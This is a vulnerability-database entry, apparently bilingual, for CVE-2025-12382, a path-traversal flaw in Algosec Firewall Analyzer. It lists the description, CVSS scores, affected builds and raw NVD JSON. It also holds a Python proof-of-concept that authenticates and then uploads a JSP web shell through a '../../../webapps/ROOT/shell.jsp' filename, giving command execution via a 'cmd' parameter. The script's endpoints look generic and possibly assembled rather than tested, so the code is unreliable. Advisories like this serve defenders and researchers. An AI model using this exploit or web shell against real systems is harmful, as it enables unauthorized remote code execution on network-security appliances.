Security Vulnerability Report
中文
CVE-2025-12382 CVSS 8.8 HIGH

CVE-2025-12382

Published: 2025-11-12 10:15:43
Last Modified: 2025-12-11 18:37:02

Description

Improper Limitation of a Pathname 'Path Traversal') vulnerability in Algosec Firewall Analyzer on Linux, 64 bit allows an authenticated user to upload files to a restricted directory leading to code injection. This issue affects Algosec Firewall Analyzer: A33.0 (up to build 320), A33.10 (up to build 210).

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:algosec:firewall_analyzer:a33.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:algosec:firewall_analyzer:a33.0:build320:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:algosec:firewall_analyzer:a33.10:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:algosec:firewall_analyzer:a33.10:build210:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:x64:* - NOT VULNERABLE
Algosec Firewall Analyzer A33.0 (build 320及以下)
Algosec Firewall Analyzer A33.10 (build 210及以下)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12382 PoC - Path Traversal leading to RCE in Algosec Firewall Analyzer # This PoC demonstrates uploading a malicious file via path traversal target_url = "https://target-host.com/FirewallAnalyzer/UploadServlet" # Authentication credentials credentials = { "username": "attacker", "password": "password123" } # Create session and authenticate session = requests.Session() auth_response = session.post(f"{target_url}/login", data=credentials) if auth_response.status_code != 200: print("[-] Authentication failed") sys.exit(1) print("[+] Successfully authenticated") # Malicious payload - webshell malicious_file = "../../../webapps/ROOT/shell.jsp" payload = "<%@ page import=\"java.io.*\" %><% Process p=Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>" # File upload with path traversal files = { "file": (malicious_file, payload, "application/octet-stream") } response = session.post(f"{target_url}/upload", files=files) if response.status_code == 200: print("[+] Malicious file uploaded successfully via path traversal") print("[+] Access shell at: https://target-host.com/shell.jsp?cmd=whoami") else: print("[-] File upload failed") sys.exit(1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12382", "sourceIdentifier": "[email protected]", "published": "2025-11-12T10:15:43.100", "lastModified": "2025-12-11T18:37:02.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Limitation of a Pathname 'Path Traversal') vulnerability in Algosec Firewall Analyzer on Linux, 64 bit allows an authenticated user to upload files to a restricted directory leading to code injection. This issue affects Algosec Firewall Analyzer: A33.0 (up to build 320), A33.10 (up to build 210)."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:X/RE:L/U:Amber", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NEGLIGIBLE", "Automatable": "YES", "Recovery": "USER", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:algosec:firewall_analyzer:a33.0:-:*:*:*:*:*:*", "matchCriteriaId": "B034A9DC-2917-435D-95F0-0774D7350A06"}, {"vulnerable": true, "criteria": "cpe:2.3:a:algosec:firewall_analyzer:a33.0:build320:*:*:*:*:*:*", "matchCriteriaId": "85672FEE-5C66-4C6F-B7D8-604438434C4E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:algosec:firewall_analyzer:a33.10:-:*:*:*:*:*:*", "matchCriteriaId": "78392A82-10C0-456C-B5FF-1177B7C3482A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:algosec:firewall_analyzer:a33.10:build210:*:*:*:*:*:*", "matchCriteriaId": "A4763EF8-4F75-4FD8-80E9-BC77FE9BC06A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:x64:*", "matchCriteriaId": "71BFBE5F-56EB-45C9-B558-FC4D7CEA345A"}]}]}], "references": [{"url": "https://techdocs.algosec.com/en/cves/Content/tech-notes/cves/cve-2025-12382.htm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}